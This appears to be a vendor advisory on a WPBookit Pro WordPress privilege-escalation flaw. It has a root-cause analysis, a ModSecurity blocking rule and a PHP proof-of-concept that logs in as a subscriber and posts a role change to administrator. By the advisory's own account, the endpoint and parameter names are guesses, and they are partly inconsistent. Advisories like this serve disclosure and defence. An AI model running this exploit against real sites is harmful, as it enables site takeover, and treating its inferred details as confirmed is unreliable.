Atomic Edge analysis of CVE-2026-25414 (metadata-based):
This vulnerability is an authenticated privilege escalation in the WPBookit Pro plugin for WordPress. Attackers with Subscriber-level access or higher can exploit a flaw to elevate their user privileges. The CVSS vector indicates a network attack vector with low attack complexity, requiring low privileges and no user interaction, leading to a low impact on integrity.
Atomic Edge research infers the root cause is CWE-266, Incorrect Privilege Assignment. This typically manifests in WordPress plugins when a function or AJAX handler lacks proper capability checks, such as `current_user_can()`, or incorrectly assigns capabilities based on user-supplied data. Without a code diff, this conclusion is inferred from the CWE classification and the description of privilege escalation for authenticated users. The vulnerability likely exists in an administrative or user management function that processes requests from low-privileged users.
Exploitation likely targets a WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`) or a REST API endpoint. An attacker with a valid Subscriber session would send a crafted POST request. The action parameter may be derived from the plugin slug, such as `wpbookit_pro_update_user` or `wpbookit_pro_save_settings`. The payload would contain parameters like `user_role` or `new_capability` set to an administrative value like `administrator`. The request would lack a proper capability check, allowing the privilege change.
Remediation requires implementing proper authorization checks. The plugin must verify the current user has the `promote_users` capability or equivalent before processing any role or capability modification. Functions handling user data must use `current_user_can()` with a specific capability. User-supplied input for role assignment must be validated against a strict allowlist of permitted roles. Atomic Edge analysis notes these are standard fixes for CWE-266 in WordPress.
Successful exploitation allows an attacker to elevate their account to an administrator or other high-privilege role. This grants full control over the WordPress site, enabling content modification, plugin installation, user management, and potential remote code execution through other administrative functions. The impact is limited to integrity (I:L in CVSS) as confidentiality and availability are not directly affected.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25414 (metadata-based)
# This rule blocks exploitation of the privilege escalation vulnerability in WPBookit Pro.
# It targets the likely AJAX endpoint and action parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625414,phase:2,deny,status:403,chain,msg:'CVE-2026-25414 via WPBookit Pro AJAX Privilege Escalation',severity:'CRITICAL',tag:'CVE-2026-25414',tag:'WordPress',tag:'Plugin',tag:'WPBookit-Pro'"
SecRule ARGS_POST:action "@rx ^wpbookit_pro_(update_user|save_user|change_role|set_role)" "chain"
SecRule ARGS_POST:new_role "@pm administrator editor author"
"t:lowercase,setvar:'tx.cve_2026_25414_score=+1'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25414 - WPBookit Pro <= 1.6.18 - Authenticated (Subscriber+) Privilege Escalation
<?php
/**
* Proof of Concept for CVE-2026-25414.
* This script attempts to exploit a privilege escalation vulnerability in WPBookit Pro.
* Assumptions based on Atomic Edge analysis:
* 1. The vulnerability is in an AJAX handler.
* 2. The AJAX action name is derived from the plugin slug.
* 3. The endpoint accepts a parameter to modify the user's role.
* 4. No capability check is performed on the request.
*
* Usage: php poc.php http://target.wpsite.com subscriber_username subscriber_password
*/
$target_url = $argv[1] ?? '';
$username = $argv[2] ?? '';
$password = $argv[3] ?? '';
if (empty($target_url) || empty($username) || empty($password)) {
die("Usage: php poc.php <target_url> <username> <password>n");
}
// Step 1: Authenticate as a Subscriber to obtain cookies and nonce.
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true,
]);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
die("[!] Authentication failed. Check credentials.n");
}
echo "[*] Authenticated as Subscriber.n";
// Step 2: Attempt privilege escalation via a suspected AJAX action.
// The exact action name is inferred. Common patterns include 'update_user_role' or 'save_user_settings'.
$post_data = [
'action' => 'wpbookit_pro_update_user_role', // Inferred action parameter
'user_id' => '1', // Often the current user ID; could be derived from session
'new_role' => 'administrator' // Target role
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HEADER => false,
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
// Step 3: Verify success.
echo "[*] Sent payload to admin-ajax.php. Response: " . substr($ajax_response, 0, 200) . "n";
echo "[*] Check if user role changed by logging into wp-admin.n";
unlink('cookies.txt');
?>
